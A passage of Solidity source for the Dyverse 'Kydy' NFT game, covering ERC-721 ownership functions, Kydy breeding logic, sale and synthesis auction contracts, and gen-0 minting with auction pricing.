bytes4(keccak256('supportsInterface(bytes4)')) */ bytes4 private constant _InterfaceId_ERC721 = 0x80ac58cd; /* * 0x80ac58cd === * bytes4(keccak256('balanceOf(address)')) ^ * bytes4(keccak256('ownerOf(uint256)')) ^ * bytes4(keccak256('approve(address,uint256)')) ^ * bytes4(keccak256('getApproved(uint256)')) ^ * bytes4(keccak256('setApprovalForAll(address,bool)')) ^ * bytes4(keccak256('isApprovedForAll(address,address)')) ^ * bytes4(keccak256('transferFrom(address,address,uint256)')) ^ * bytes4(keccak256('safeTransferFrom(address,address,uint256)')) ^ * bytes4(keccak256('safeTransferFrom(address,address,uint256,bytes)')) */ bytes4 private constant _InterfaceId_ERC721Metadata = 0x5b5e139f; /** * 0x5b5e139f === * bytes4(keccak256('name()')) ^ * bytes4(keccak256('symbol()')) ^ * bytes4(keccak256('tokenURI(uint256)')) */ constructor() public { _registerInterface(_InterfaceId_ERC165); // register the supported interfaces to conform to ERC721 via ERC165 _registerInterface(_InterfaceId_ERC721); // register the supported interfaces to conform to ERC721 via ERC165 _registerInterface(_InterfaceId_ERC721Metadata); } /** * @dev Checks if a given address is the current owner of this Kydy. * @param _claimant the address which we want to query the ownership of the Kydy ID. * @param _tokenId Kydy id, only valid when > 0 */ function _owns(address _claimant, uint256 _tokenId) internal view returns (bool) { return kydyIndexToOwner[_tokenId] == _claimant; } /** * @dev Grants an approval to the given address for safeTransferFrom(), overwriting any * previous approval. Setting _approved to address(0) clears all transfer approval. * Note that _approve() does NOT emit the Approval event. This is intentional because * _approve() and safeTransferFrom() are used together when putting Kydys to the auction, * and there is no need to spam the log with Approval events in that case. */ function _approve(uint256 _tokenId, address _approved) internal { kydyIndexToApproved[_tokenId] = _approved; } /** * @dev Transfers a Kydy owned by this contract to the specified address. * Used to rescue lost Kydys. (There is no "proper" flow where this contract * should be the owner of any Kydy. This function exists for us to reassign * the ownership of Kydys that users may have accidentally sent to our address.) * @param _kydyId ID of the lost Kydy * @param _recipient address to send the Kydy to */ function rescueLostKydy(uint256 _kydyId, address _recipient) external onlyCOO whenNotPaused { require(_owns(this, _kydyId)); _transfer(this, _recipient, _kydyId); } /** * @dev Gets the number of Kydys owned by the given address. * Required for ERC-721 compliance. * @param _owner address to query the balance of * @return uint256 representing the amount owned by the passed address */ function balanceOf(address _owner) public view returns (uint256) { require(_owner != address(0)); return ownershipTokenCount[_owner]; } /** * @dev Approves another address to transfer the given Kydy ID. * The zero address indicates that there is no approved address. * There can only be one approved address per Kydy at a given time. * Can only be called by the Kydy owner or an approved operator. * Required for ERC-721 compliance. * @param to address to be approved for the given Kydy ID * @param tokenId uint256 ID of the Kydy to be approved */ function approve(address to, uint256 tokenId) external whenNotPaused { address owner = ownerOf(tokenId); require(to != owner); // Owner or approved operator by owner can approve the another address // to transfer the Kydy. require(msg.sender == owner || isApprovedForAll(owner, msg.sender)); // Approves the given address. _approve(tokenId, to); // Emits the Approval event. emit Approval(owner, to, tokenId); } /** * @dev Transfers the ownership of the Kydy to another address. * Usage of this function is discouraged, use `safeTransferFrom` whenever possible. * Requires the msg sender to be the owner, approved, or operator. * Required for ERC-721 compliance. * @param from current owner of the Kydy * @param to address to receive the ownership of the given Kydy ID * @param tokenId uint256 ID of the Kydy to be transferred */ function transferFrom(address from, address to, uint256 tokenId) public whenNotPaused { // Checks the caller is the owner or approved one or an operator. require(_isApprovedOrOwner(msg.sender, tokenId)); // Safety check to prevent from transferring Kydy to 0x0 address. require(to != address(0)); // Clears approval from current owner. _clearApproval(from, tokenId); // Resets the ownership of this Kydy from current owner and sets it to 0x0. _removeTokenFrom(from, tokenId); // Grants the ownership of this Kydy to new owner. _addTokenTo(to, tokenId); // Emits the Transfer event. emit Transfer(from, to, tokenId); } /** * @dev Safely transfers the ownership of a given Kydy to another address. * If the target address is a contract, it must implement `onERC721Received`, * which is called upon a safe transfer, and return the magic value * `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`; * Otherwise, the transfer is reverted. * Requires the msg sender to be the owner, approved, or operator. * Required for ERC-721 compliance. * @param from current owner of the Kydy * @param to address to receive the ownership of the given Kydy ID * @param tokenId uint256 ID of the Kydy to be transferred */ function safeTransferFrom(address from, address to, uint256 tokenId) public { // solium-disable-next-line arg-overflow safeTransferFrom(from, to, tokenId, ""); } /** * @dev Safely transfers the ownership of a given Kydy to another address. * If the target address is a contract, it must implement `onERC721Received`, * which is called upon a safe transfer, and return the magic value * `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`; * Otherwise, the transfer is reverted. * Requires the msg sender to be the owner, approved, or operator. * Required for ERC-721 compliance. * @param from current owner of the Kydy * @param to address to receive the ownership of the given Kydy ID * @param tokenId uint256 ID of the Kydy to be transferred * @param _data bytes data to send along with a safe transfer check */ function safeTransferFrom(address from, address to, uint256 tokenId, bytes _data) public { transferFrom(from, to, tokenId); // solium-disable-next-line arg-overflow require(_checkOnERC721Received(from, to, tokenId, _data)); } /** * @dev Internal function to invoke `onERC721Received` on a target address. * This function is not executed if the target address is not a contract. * @param _from address representing the previous owner of the given Kydy ID * @param _to target address that will receive the Kydys * @param _tokenId uint256 ID of the Kydy to be transferred * @param _data bytes optional data to send along with the call * @return whether the call correctly returned the expected magic value */ function _checkOnERC721Received(address _from, address _to, uint256 _tokenId, bytes _data) internal returns (bool) { if (!_to.isContract()) { return true; } bytes4 retval = ERC721TokenReceiver(_to).onERC721Received(msg.sender, _from, _tokenId, _data); return (retval == _ERC721_RECEIVED); } /** * @dev Gets the token name. * Required for ERC721Metadata compliance. * @return string representing the token name */ function name() external view returns (string) { return _name; } /** * @dev Gets the token symbol. * Required for ERC721Metadata compliance. * @return string representing the token symbol */ function symbol() external view returns (string) { return _symbol; } /** * @dev Returns an URI for a given Kydy ID. * Throws if the token ID does not exist. May return an empty string. * Required for ERC721Metadata compliance. * @param tokenId uint256 ID of the token to query */ function tokenURI(uint256 tokenId) external view returns (string) { require(_exists(tokenId)); return Strings.strConcat( tokenURIBase, Strings.uint2str(tokenId) ); } /** * @dev Gets the total amount of Kydys stored in the contract * @return uint256 representing the total amount of Kydys */ function totalSupply() public view returns (uint256) { return kydys.length - 1; } /** * @notice Returns a list of all Kydy IDs assigned to an address. * @param _owner The owner whose Kydys we are interested in. * @dev This function MUST NEVER be called by smart contract code. It's pretty * expensive (it looks into the entire Kydy array looking for Kydys belonging to owner), * and it also returns a dynamic array, which is only supported for web3 calls, and * not contract-to-contract calls. */ function tokensOfOwner(address _owner) external view returns(uint256[] ownerTokens) { uint256 tokenCount = balanceOf(_owner); if (tokenCount == 0) { // Return an empty array return new uint256[](0); } else { uint256[] memory result = new uint256[](tokenCount); uint256 totalKydys = totalSupply(); uint256 resultIndex = 0; // All Kydys have IDs starting at 1 and increasing sequentially up to the totalKydy count. uint256 kydyId; for (kydyId = 1; kydyId <= totalKydys; kydyId++) { if (kydyIndexToOwner[kydyId] == _owner) { result[resultIndex] = kydyId; resultIndex++; } } return result; } } } /** * @title This manages synthesis and creation of Kydys. * @author VREX Lab Co., Ltd * @dev Please reference the KydyCore contract for details. */ contract KydySynthesis is KydyOwnership { /** * @dev The Creating event is emitted when two Kydys synthesize and the creation * timer begins by the yin. */ event Creating(address owner, uint256 yinId, uint256 yangId, uint256 rechargeEndBlock); /** * @notice The minimum payment required for synthesizeWithAuto(). This fee is for * the gas cost paid by whoever calls bringKydyHome(), and can be updated by the COO address. */ uint256 public autoCreationFee = 14 finney; // Number of the Kydys that are creating a new Kydy. uint256 public creatingKydys; /** * @dev The address of the sibling contract that mixes and combines genes of the two parent Kydys. */ GeneSynthesisInterface public geneSynthesis; /** * @dev Updates the address of the genetic contract. Only CEO may call this function. * @param _address An address of the new GeneSynthesis contract instance. */ function setGeneSynthesisAddress(address _address) external onlyCEO { GeneSynthesisInterface candidateContract = GeneSynthesisInterface(_address); // Verifies that the contract is valid. require(candidateContract.isGeneSynthesis()); // Sets the new GeneSynthesis contract address. geneSynthesis = candidateContract; } /** * @dev Checks that the Kydy is able to synthesize. */ function _isReadyToSynthesize(Kydy _kyd) internal view returns (bool) { // Double-checking if there is any pending creation event. return (_kyd.synthesizingWithId == 0) && (_kyd.rechargeEndBlock <= uint64(block.number)); } /** * @dev Checks if a yang Kydy has been approved to synthesize with this yin Kydy. */ function _isSynthesizingAllowed(uint256 _yangId, uint256 _yinId) internal view returns (bool) { address yinOwner = kydyIndexToOwner[_yinId]; address yangOwner = kydyIndexToOwner[_yangId]; return (yinOwner == yangOwner || synthesizeAllowedToAddress[_yangId] == yinOwner); } /** * @dev Sets the rechargeEndTime for the given Kydy, based on its current rechargeIndex. * The rechargeIndex increases until it hits the cap. * @param _kyd A reference to the Kydy that needs its timer to be started. */ function _triggerRecharge(Kydy storage _kyd) internal { // Computes the approximation of the end of recharge time in blocks (based on current rechargeIndex). _kyd.rechargeEndBlock = uint64((recharges[_kyd.rechargeIndex] / secondsPerBlock) + block.number); // Increases this Kydy's synthesizing count, and the cap is fixed at 12. if (_kyd.rechargeIndex < 12) { _kyd.rechargeIndex += 1; } } /** * @notice Grants approval to another user to synthesize with one of your Kydys. * @param _address The approved address of the yin Kydy that can synthesize with your yang Kydy. * @param _yangId Your kydy that _address can now synthesize with. */ function approveSynthesizing(address _address, uint256 _yangId) external whenNotPaused { require(_owns(msg.sender, _yangId)); synthesizeAllowedToAddress[_yangId] = _address; } /** * @dev Updates the minimum payment required for calling bringKydyHome(). Only COO * can call this function. */ function setAutoCreationFee(uint256 value) external onlyCOO { autoCreationFee = value; } /// @dev Checks if this Kydy is creating and if the creation period is complete. function _isReadyToBringKydyHome(Kydy _yin) private view returns (bool) { return (_yin.synthesizingWithId != 0) && (_yin.rechargeEndBlock <= uint64(block.number)); } /** * @notice Checks if this Kydy is able to synthesize * @param _kydyId reference the ID of the Kydy */ function isReadyToSynthesize(uint256 _kydyId) public view returns (bool) { require(_kydyId > 0); Kydy storage kyd = kydys[_kydyId]; return _isReadyToSynthesize(kyd); } /** * @dev Checks if the Kydy is currently creating. * @param _kydyId reference the ID of the Kydy */ function isCreating(uint256 _kydyId) public view returns (bool) { require(_kydyId > 0); return kydys[_kydyId].synthesizingWithId != 0; } /** * @dev Internal check to see if these yang and yin are a valid couple. * @param _yin A reference to the Kydy struct of the potential yin. * @param _yinId The yin's ID. * @param _yang A reference to the Kydy struct of the potential yang. * @param _yangId The yang's ID */ function _isValidCouple( Kydy storage _yin, uint256 _yinId, Kydy storage _yang, uint256 _yangId ) private view returns(bool) { // Kydy can't synthesize with itself. if (_yinId == _yangId) { return false; } // Kydys can't synthesize with their parents. if (_yin.yinId == _yangId || _yin.yangId == _yangId) { return false; } if (_yang.yinId == _yinId || _yang.yangId == _yinId) { return false; } // Skip sibling check for Gen 0 if (_yang.yinId == 0 || _yin.yinId == 0) { return true; } // Kydys can't synthesize with full or half siblings. if (_yang.yinId == _yin.yinId || _yang.yinId == _yin.yangId) { return false; } if (_yang.yangId == _yin.yinId || _yang.yangId == _yin.yangId) { return false; } return true; } /** * @dev Internal check to see if these yang and yin Kydys, connected via market, are a valid couple for synthesis. */ function _canSynthesizeWithViaAuction(uint256 _yinId, uint256 _yangId) internal view returns (bool) { Kydy storage yin = kydys[_yinId]; Kydy storage yang = kydys[_yangId]; return _isValidCouple(yin, _yinId, yang, _yangId); } /** * @dev Checks if the two Kydys can synthesize together, including checks for ownership and synthesizing approvals. * @param _yinId ID of the yin Kydy * @param _yangId ID of the yang Kydy */ function canSynthesizeWith(uint256 _yinId, uint256 _yangId) external view returns(bool) { require(_yinId > 0); require(_yangId > 0); Kydy storage yin = kydys[_yinId]; Kydy storage yang = kydys[_yangId]; return _isValidCouple(yin, _yinId, yang, _yangId) && _isSynthesizingAllowed(_yangId, _yinId); } /** * @dev Internal function to start synthesizing, when all the conditions are met */ function _synthesizeWith(uint256 _yinId, uint256 _yangId) internal { Kydy storage yang = kydys[_yangId]; Kydy storage yin = kydys[_yinId]; // Marks this yin as creating, and make note of who the yang Kydy is. yin.synthesizingWithId = uint32(_yangId); // Triggers the recharge for both parents. _triggerRecharge(yang); _triggerRecharge(yin); // Clears synthesizing permission for both parents, just in case. delete synthesizeAllowedToAddress[_yinId]; delete synthesizeAllowedToAddress[_yangId]; // When a Kydy starts creating, this number is increased. creatingKydys++; // Emits the Creating event. emit Creating(kydyIndexToOwner[_yinId], _yinId, _yangId, yin.rechargeEndBlock); } /** * @dev Synthesis between two approved Kydys. Requires a pre-payment of the fee to the first caller of bringKydyHome(). * @param _yinId ID of the Kydy which will be a yin (will start creation if successful) * @param _yangId ID of the Kydy which will be a yang (will begin its synthesizing cooldown if successful) */ function synthesizeWithAuto(uint256 _yinId, uint256 _yangId) external payable whenNotPaused { // Checks for pre-payment. require(msg.value >= autoCreationFee); // Caller must be the yin's owner. require(_owns(msg.sender, _yinId)); // Checks if the caller has valid authority for this synthesis require(_isSynthesizingAllowed(_yangId, _yinId)); // Gets a reference of the potential yin. Kydy storage yin = kydys[_yinId]; // Checks that the potential yin is ready to synthesize require(_isReadyToSynthesize(yin)); // Gets a reference of the potential yang. Kydy storage yang = kydys[_yangId]; // Checks that the potential yang is ready to synthesize require(_isReadyToSynthesize(yang)); // Checks that these Kydys are a valid couple. require(_isValidCouple( yin, _yinId, yang, _yangId )); // All checks passed! Yin Kydy starts creating. _synthesizeWith(_yinId, _yangId); } /** * @notice Let's bring the new Kydy to it's home! * @param _yinId A Kydy which is ready to bring the newly created Kydy to home. * @return The Kydy ID of the newly created Kydy. * @dev The newly created Kydy is transferred to the owner of the yin Kydy. Anyone is welcome to call this function. */ function bringKydyHome(uint256 _yinId) external whenNotPaused returns(uint256) { // Gets a reference of the yin from storage. Kydy storage yin = kydys[_yinId]; // Checks that the yin is a valid Kydy. require(yin.createdTime != 0); // Checks that the yin is in creation mode, and the creating period is over. require(_isReadyToBringKydyHome(yin)); // Gets a reference of the yang from storage. uint256 yangId = yin.synthesizingWithId; Kydy storage yang = kydys[yangId]; // Ascertains which has the higher generation number between the two parents. uint16 parentGen = yin.generation; if (yang.generation > yin.generation) { parentGen = yang.generation; } // The baby Kydy receives its genes uint256 childGenes = geneSynthesis.synthGenes(yin.genes, yang.genes); // The baby Kydy is now on blockchain address owner = kydyIndexToOwner[_yinId]; uint256 kydyId = _createKydy(_yinId, yin.synthesizingWithId, parentGen + 1, childGenes, owner); // Clears the synthesis status of the parents delete yin.synthesizingWithId; // When a baby Kydy is created, this number is decreased back. creatingKydys--; // Sends the fee to the person who called this. msg.sender.transfer(autoCreationFee); // Returns the new Kydy's ID. return kydyId; } } contract ERC721Holder is ERC721TokenReceiver { function onERC721Received(address, address, uint256, bytes) public returns (bytes4) { return this.onERC721Received.selector; } } /** * @title Base auction contract of the Dyverse * @author VREX Lab Co., Ltd * @dev Contains necessary functions and variables for the auction. * Inherits `ERC721Holder` contract which is the implementation of the `ERC721TokenReceiver`. * This is to accept safe transfers. */ contract AuctionBase is ERC721Holder { using SafeMath for uint256; // Represents an auction on an NFT struct Auction { // Current owner of NFT address seller; // Price (in wei) of NFT uint128 price; // Time when the auction started // NOTE: 0 if this auction has been concluded uint64 startedAt; } // Reference to contract tracking NFT ownership ERC721Basic public nonFungibleContract; // The amount owner takes from the sale, (in basis points, which are 1/100 of a percent). uint256 public ownerCut; // Maps token ID to it's corresponding auction. mapping (uint256 => Auction) tokenIdToAuction; event AuctionCreated(uint256 tokenId, uint256 price); event AuctionSuccessful(uint256 tokenId, uint256 totalPrice, address bidder); event AuctionCanceled(uint256 tokenId); /// @dev Disables sending funds to this contract. function() external {} /// @dev A modifier to check if the given value can fit in 64-bits. modifier canBeStoredWith64Bits(uint256 _value) { require(_value <= (2**64 - 1)); _; } /// @dev A modifier to check if the given value can fit in 128-bits. modifier canBeStoredWith128Bits(uint256 _value) { require(_value <= (2**128 - 1)); _; } /** * @dev Returns true if the claimant owns the token. * @param _claimant An address which to query the ownership of the token. * @param _tokenId ID of the token to query the owner of. */ function _owns(address _claimant, uint256 _tokenId) internal view returns (bool) { return (nonFungibleContract.ownerOf(_tokenId) == _claimant); } /** * @dev Escrows the NFT. Grants the ownership of the NFT to this contract safely. * Throws if the escrow fails. * @param _owner Current owner of the token. * @param _tokenId ID of the token to escrow. */ function _escrow(address _owner, uint256 _tokenId) internal { nonFungibleContract.safeTransferFrom(_owner, this, _tokenId); } /** * @dev Transfers an NFT owned by this contract to another address safely. * @param _receiver The receiving address of NFT. * @param _tokenId ID of the token to transfer. */ function _transfer(address _receiver, uint256 _tokenId) internal { nonFungibleContract.safeTransferFrom(this, _receiver, _tokenId); } /** * @dev Adds an auction to the list of open auctions. * @param _tokenId ID of the token to be put on auction. * @param _auction Auction information of this token to open. */ function _addAuction(uint256 _tokenId, Auction _auction) internal { tokenIdToAuction[_tokenId] = _auction; emit AuctionCreated( uint256(_tokenId), uint256(_auction.price) ); } /// @dev Cancels the auction which the _seller wants. function _cancelAuction(uint256 _tokenId, address _seller) internal { _removeAuction(_tokenId); _transfer(_seller, _tokenId); emit AuctionCanceled(_tokenId); } /** * @dev Computes the price and sends it to the seller. * Note that this does NOT transfer the ownership of the token. */ function _bid(uint256 _tokenId, uint256 _bidAmount) internal returns (uint256) { // Gets a reference of the token from auction storage. Auction storage auction = tokenIdToAuction[_tokenId]; // Checks that this auction is currently open require(_isOnAuction(auction)); // Checks that the bid is greater than or equal to the current token price. uint256 price = _currentPrice(auction); require(_bidAmount >= price); // Gets a reference of the seller before the auction gets deleted. address seller = auction.seller; // Removes the auction before sending the proceeds to the sender _removeAuction(_tokenId); // Transfers proceeds to the seller. if (price > 0) { uint256 auctioneerCut = _computeCut(price); uint256 sellerProceeds = price.sub(auctioneerCut); seller.transfer(sellerProceeds); } // Computes the excess funds included with the bid and transfers it back to bidder. uint256 bidExcess = _bidAmount - price; // Returns the exceeded funds. msg.sender.transfer(bidExcess); // Emits the AuctionSuccessful event. emit AuctionSuccessful(_tokenId, price, msg.sender); return price; } /** * @dev Removes an auction from the list of open auctions. * @param _tokenId ID of the NFT on auction to be removed. */ function _removeAuction(uint256 _tokenId) internal { delete tokenIdToAuction[_tokenId]; } /** * @dev Returns true if the NFT is on auction. * @param _auction An auction to check if it exists. */ function _isOnAuction(Auction storage _auction) internal view returns (bool) { return (_auction.startedAt > 0); } /// @dev Returns the current price of an NFT on auction. function _currentPrice(Auction storage _auction) internal view returns (uint256) { return _auction.price; } /** * @dev Computes the owner's receiving amount from the sale. * @param _price Sale price of the NFT. */ function _computeCut(uint256 _price) internal view returns (uint256) { return _price * ownerCut / 10000; } } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; modifier whenNotPaused() { require(!paused); _; } modifier whenPaused() { require(paused); _; } function pause() onlyOwner whenNotPaused public { paused = true; emit Pause(); } function unpause() onlyOwner whenPaused public { paused = false; emit Unpause(); } } /** * @title Auction for NFT. * @author VREX Lab Co., Ltd */ contract Auction is Pausable, AuctionBase { /** * @dev Removes all Ether from the contract to the NFT contract. */ function withdrawBalance() external { address nftAddress = address(nonFungibleContract); require( msg.sender == owner || msg.sender == nftAddress ); nftAddress.transfer(address(this).balance); } /** * @dev Creates and begins a new auction. * @param _tokenId ID of the token to creat an auction, caller must be it's owner. * @param _price Price of the token (in wei). * @param _seller Seller of this token. */ function createAuction( uint256 _tokenId, uint256 _price, address _seller ) external whenNotPaused canBeStoredWith128Bits(_price) { require(_owns(msg.sender, _tokenId)); _escrow(msg.sender, _tokenId); Auction memory auction = Auction( _seller, uint128(_price), uint64(now) ); _addAuction(_tokenId, auction); } /** * @dev Bids on an open auction, completing the auction and transferring * ownership of the NFT if enough Ether is supplied. * @param _tokenId - ID of token to bid on. */ function bid(uint256 _tokenId) external payable whenNotPaused { _bid(_tokenId, msg.value); _transfer(msg.sender, _tokenId); } /** * @dev Cancels an auction and returns the NFT to the current owner. * @param _tokenId ID of the token on auction to cancel. * @param _seller The seller's address. */ function cancelAuction(uint256 _tokenId, address _seller) external { // Requires that this function should only be called from the // `cancelSaleAuction()` of NFT ownership contract. This function gets // the _seller directly from it's arguments, so if this check doesn't // exist, then anyone can cancel the auction! OMG! require(msg.sender == address(nonFungibleContract)); Auction storage auction = tokenIdToAuction[_tokenId]; require(_isOnAuction(auction)); address seller = auction.seller; require(_seller == seller); _cancelAuction(_tokenId, seller); } /** * @dev Cancels an auction when the contract is paused. * Only the owner may do this, and NFTs are returned to the seller. * @param _tokenId ID of the token on auction to cancel. */ function cancelAuctionWhenPaused(uint256 _tokenId) external whenPaused onlyOwner { Auction storage auction = tokenIdToAuction[_tokenId]; require(_isOnAuction(auction)); _cancelAuction(_tokenId, auction.seller); } /** * @dev Returns the auction information for an NFT * @param _tokenId ID of the NFT on auction */ function getAuction(uint256 _tokenId) external view returns ( address seller, uint256 price, uint256 startedAt ) { Auction storage auction = tokenIdToAuction[_tokenId]; require(_isOnAuction(auction)); return ( auction.seller, auction.price, auction.startedAt ); } /** * @dev Returns the current price of the token on auction. * @param _tokenId ID of the token */ function getCurrentPrice(uint256 _tokenId) external view returns (uint256) { Auction storage auction = tokenIdToAuction[_tokenId]; require(_isOnAuction(auction)); return _currentPrice(auction); } } /** * @title Auction for synthesizing * @author VREX Lab Co., Ltd * @notice Reset fallback function to prevent accidental fund sending to this contract. */ contract SynthesizingAuction is Auction { /** * @dev Sanity check that allows us to ensure that we are pointing to the * right auction in our `setSynthesizingAuctionAddress()` call. */ bool public isSynthesizingAuction = true; /** * @dev Creates a reference to the NFT ownership contract and checks the owner cut is valid * @param _nftAddress Address of a deployed NFT interface contract * @param _cut Percent cut which the owner takes on each auction, between 0-10,000. */ constructor(address _nftAddress, uint256 _cut) public { require(_cut <= 10000); ownerCut = _cut; ERC721Basic candidateContract = ERC721Basic(_nftAddress); nonFungibleContract = candidateContract; } /** * @dev Creates and begins a new auction. Since this function is wrapped, * requires the caller to be KydyCore contract. * @param _tokenId ID of token to auction, sender must be it's owner. * @param _price Price of the token (in wei). * @param _seller Seller of this token. */ function createAuction( uint256 _tokenId, uint256 _price, address _seller ) external canBeStoredWith128Bits(_price) { require(msg.sender == address(nonFungibleContract)); _escrow(_seller, _tokenId); Auction memory auction = Auction( _seller, uint128(_price), uint64(now) ); _addAuction(_tokenId, auction); } /** * @dev Places a bid for synthesizing. Requires the caller * is the KydyCore contract because all bid functions * should be wrapped. Also returns the Kydy to the * seller rather than the bidder. */ function bid(uint256 _tokenId) external payable { require(msg.sender == address(nonFungibleContract)); address seller = tokenIdToAuction[_tokenId].seller; // _bid() checks that the token ID is valid and will throw if bid fails _bid(_tokenId, msg.value); // Transfers the Kydy back to the seller, and the bidder will get // the baby Kydy. _transfer(seller, _tokenId); } } /** * @title Auction for sale of Kydys. * @author VREX Lab Co., Ltd */ contract SaleAuction is Auction { /** * @dev To make sure we are addressing to the right auction. */ bool public isSaleAuction = true; // Last 5 sale price of Generation 0 Kydys. uint256[5] public lastGen0SalePrices; // Total number of Generation 0 Kydys sold. uint256 public gen0SaleCount; /** * @dev Creates a reference to the NFT ownership contract and checks the owner cut is valid * @param _nftAddress Address of a deployed NFT interface contract * @param _cut Percent cut which the owner takes on each auction, between 0-10,000. */ constructor(address _nftAddress, uint256 _cut) public { require(_cut <= 10000); ownerCut = _cut; ERC721Basic candidateContract = ERC721Basic(_nftAddress); nonFungibleContract = candidateContract; } /** * @dev Creates and begins a new auction. * @param _tokenId ID of token to auction, sender must be it's owner. * @param _price Price of the token (in wei). * @param _seller Seller of this token. */ function createAuction( uint256 _tokenId, uint256 _price, address _seller ) external canBeStoredWith128Bits(_price) { require(msg.sender == address(nonFungibleContract)); _escrow(_seller, _tokenId); Auction memory auction = Auction( _seller, uint128(_price), uint64(now) ); _addAuction(_tokenId, auction); } /** * @dev Updates lastSalePrice only if the seller is nonFungibleContract. */ function bid(uint256 _tokenId) external payable { // _bid verifies token ID address seller = tokenIdToAuction[_tokenId].seller; uint256 price = _bid(_tokenId, msg.value); _transfer(msg.sender, _tokenId); // If the last sale was not Generation 0 Kydy's, the lastSalePrice doesn't change. if (seller == address(nonFungibleContract)) { // Tracks gen0's latest sale prices. lastGen0SalePrices[gen0SaleCount % 5] = price; gen0SaleCount++; } } /// @dev Gives the new average Generation 0 sale price after each Generation 0 Kydy sale. function averageGen0SalePrice() external view returns (uint256) { uint256 sum = 0; for (uint256 i = 0; i < 5; i++) { sum = sum.add(lastGen0SalePrices[i]); } return sum / 5; } } /** * @title This contract defines how sales and synthesis auctions for Kydys are created. * @author VREX Lab Co., Ltd */ contract KydyAuction is KydySynthesis { /** * @dev The address of the Auction contract which handles ALL sales of Kydys, both user-generated and Generation 0. */ SaleAuction public saleAuction; /** * @dev The address of another Auction contract which handles synthesis auctions. */ SynthesizingAuction public synthesizingAuction; /** * @dev Sets the address for the sales auction. Only CEO may call this function. * @param _address The address of the sale contract. */ function setSaleAuctionAddress(address _address) external onlyCEO { SaleAuction candidateContract = SaleAuction(_address); // Verifies that the contract is correct require(candidateContract.isSaleAuction()); // Sets the new sale auction contract address. saleAuction = candidateContract; } /** * @dev Sets the address to the synthesis auction. Only CEO may call this function. * @param _address The address of the synthesis contract. */ function setSynthesizingAuctionAddress(address _address) external onlyCEO { SynthesizingAuction candidateContract = SynthesizingAuction(_address); require(candidateContract.isSynthesizingAuction()); synthesizingAuction = candidateContract; } /** * @dev Creates a Kydy sale. */ function createSaleAuction( uint256 _kydyId, uint256 _price ) external whenNotPaused { require(_owns(msg.sender, _kydyId)); require(!isCreating(_kydyId)); _approve(_kydyId, saleAuction); saleAuction.createAuction( _kydyId, _price, msg.sender ); } /** * @dev Creates a synthesis auction. */ function createSynthesizingAuction( uint256 _kydyId, uint256 _price ) external whenNotPaused { require(_owns(msg.sender, _kydyId)); require(isReadyToSynthesize(_kydyId)); _approve(_kydyId, synthesizingAuction); synthesizingAuction.createAuction( _kydyId, _price, msg.sender ); } /** * @dev After bidding for a synthesis auction is accepted, this starts the actual synthesis process. * @param _yangId ID of the yang Kydy on the synthesis auction. * @param _yinId ID of the yin Kydy owned by the bidder. */ function bidOnSynthesizingAuction( uint256 _yangId, uint256 _yinId ) external payable whenNotPaused { require(_owns(msg.sender, _yinId)); require(isReadyToSynthesize(_yinId)); require(_canSynthesizeWithViaAuction(_yinId, _yangId)); uint256 currentPrice = synthesizingAuction.getCurrentPrice(_yangId); require (msg.value >= currentPrice + autoCreationFee); synthesizingAuction.bid.value(msg.value - autoCreationFee)(_yangId); _synthesizeWith(uint32(_yinId), uint32(_yangId)); } /** * @dev Cancels a sale and returns the Kydy back to the owner. * @param _kydyId ID of the Kydy on sale that the owner wishes to cancel. */ function cancelSaleAuction( uint256 _kydyId ) external whenNotPaused { // Checks if the Kydy is in auction. require(_owns(saleAuction, _kydyId)); // Gets the seller of the Kydy. (address seller,,) = saleAuction.getAuction(_kydyId); // Checks that the caller is the real seller. require(msg.sender == seller); // Cancels the sale auction of this kydy by it's seller's request. saleAuction.cancelAuction(_kydyId, msg.sender); } /** * @dev Cancels an synthesis auction. * @param _kydyId ID of the Kydy on the synthesis auction. */ function cancelSynthesizingAuction( uint256 _kydyId ) external whenNotPaused { require(_owns(synthesizingAuction, _kydyId)); (address seller,,) = synthesizingAuction.getAuction(_kydyId); require(msg.sender == seller); synthesizingAuction.cancelAuction(_kydyId, msg.sender); } /** * @dev Transfers the balance. */ function withdrawAuctionBalances() external onlyCLevel { saleAuction.withdrawBalance(); synthesizingAuction.withdrawBalance(); } } /** * @title All functions related to creating Kydys * @author VREX Lab Co., Ltd */ contract KydyMinting is KydyAuction { // Limits of the number of Kydys that COO can create. uint256 public constant promoCreationLimit = 888; uint256 public constant gen0CreationLimit = 8888; uint256 public constant gen0StartingPrice = 10 finney; // Counts the number of Kydys that COO has created. uint256 public promoCreatedCount; uint256 public gen0CreatedCount; /** * @dev Creates promo Kydys, up to a limit. Only COO can call this function. * @param _genes Encoded genes of the Kydy to be created. * @param _owner Future owner of the created Kydys. COO is the default owner. */ function createPromoKydy(uint256 _genes, address _owner) external onlyCOO { address kydyOwner = _owner; if (kydyOwner == address(0)) { kydyOwner = cooAddress; } require(promoCreatedCount < promoCreationLimit); promoCreatedCount++; _createKydy(0, 0, 0, _genes, kydyOwner); } /** * @dev Creates a new gen0 Kydy with the given genes and * creates an sale auction of it. */ function createGen0Auction(uint256 _genes) external onlyCOO { require(gen0CreatedCount < gen0CreationLimit); uint256 kydyId = _createKydy(0, 0, 0, _genes, address(this)); _approve(kydyId, saleAuction); saleAuction.createAuction( kydyId, _computeNextGen0Price(), address(this) ); gen0CreatedCount++; } /** * @dev Computes the next gen0 auction price. It will be * the average of the past 5 prices + 50%. */ function _computeNextGen0Price() internal view returns (uint256) { uint256 averagePrice = saleAuction.averageGen0SalePrice(); // Sanity check to ensure not to overflow arithmetic. require(averagePrice == uint256(uint128(averagePrice))); uint256 nextPrice = averagePrice.add(averagePrice / 2); // New gen0 auction price will not be less than the // starting price always. if (nextPrice < gen0StartingPrice) { nextPrice = gen0StartingPrice; } return nextPrice; } } contract KydyTravelInterface { function balanceOfUnclaimedTT(address _user) public view returns(uint256); function transferTTProduction(address _from, address _to, uint256 _kydyId) public; function getProductionOf(address _user) public view returns (uint256); } /** * @title The Dyverse : A decentralized universe of Kydys, the unique 3D characters and avatars on the Blockchain. * @author VREX Lab Co., Ltd * @dev This is the main KydyCore contract. It keeps track of the kydys over the blockchain, and manages * general operation of the contracts, metadata and important addresses, including defining who can 